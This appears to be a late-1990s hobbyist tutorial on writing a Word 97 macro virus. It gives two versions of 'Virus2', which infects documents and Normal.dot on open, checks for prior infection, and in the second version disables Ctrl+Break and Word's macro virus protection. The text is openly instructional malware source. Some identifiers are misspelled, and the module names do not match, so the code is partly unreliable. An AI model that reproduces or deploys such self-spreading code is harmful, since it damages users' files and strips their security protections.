Note! If you want to bee good, you have to try out, and explore!
We wrote in the last level, a very simple virus, it would work, but not very well. The
virus would spead and spread and the
files would grow on and on... to avoid this you've to check. Check routines depends on the
virus!! If you write a modul
virus, with a fix name, you can identify the virus, by the modul name. So did the first
virii, wich were around, and so we will
do it too in this level:
Modulname: Virus2
Sub AutoOpen()
If UCase(ThisDocument.Name) = "NORMAL.DOT" Then
For i=1 to ActiveDocument.VBProject.VBComponents.Count
If
ActiveDocument.VBProject.VBComponents(i).Name="Virus2"
Then Goto EndOfVirus
Next i
VSource=NormalTemplate.FullName
VDestiny=ActiveDocument.FullName
Else
For i=1 to NormalTemplate.VBProject.VBComponents.Count
If
NormalTemplate.VBProject.VBComponents(i).Name="Virus2"
Then Goto EndOfVirus
Next i
VSource=ActiveDocument.FullName
VDestiny=NormalTemplate.FullName
End if
Application.OrganizerCopy VSource, VDestiny, "ExampleVirus",
wdOrganizerObjectProjectItems
EndOfVirus:
End Sub
Ok, you see, this virus uses an infection routine and a check routine. Well, now
we've a good and short virus, but without
any prodection. Prodection also depends on the virus!!
Modulname: Virus2
Sub AutoOpen()
Application.EnableCancelKey=False
Options.VirusProdection=False
If UCase(ThisDocument.Name) = "NORMAL.DOT" Then
For i=1 to ActiveDocument.VBProject.VBComponents.Count
If
ActiveDocument.VBProject.VBComponents(i).Name="Virus2"
Then Goto EndOfVirus
Next i
VSource=NormalTemplate.FullName
VDestiny=ActiveDocument.FullName
Else
For i=1 to NormalTemplate.VBProject.VBComponents.Count
If
NormalTemplate.VBProject.VBComponents(i).Name="Virus2"
Then Goto EndOfVirus
Next i
VSource=ActiveDocument.FullName
VDestiny=NormalTemplate.FullName
End if
Application.OrganizerCopy VSource, VDestiny, "ExampleVirus",
wdOrganizerObjectProjectItems
EndOfVirus:
End Sub
The first line bellow Sub AoutoOpen() disables the Break (Ctrl+Break), that means, the
usere isn't able to interrupt the virus
by Ctrl-Break.
The second line disables the virus prodection of Word97. (I hope you all know what I mean)
now you have a prodected virus that checks for infections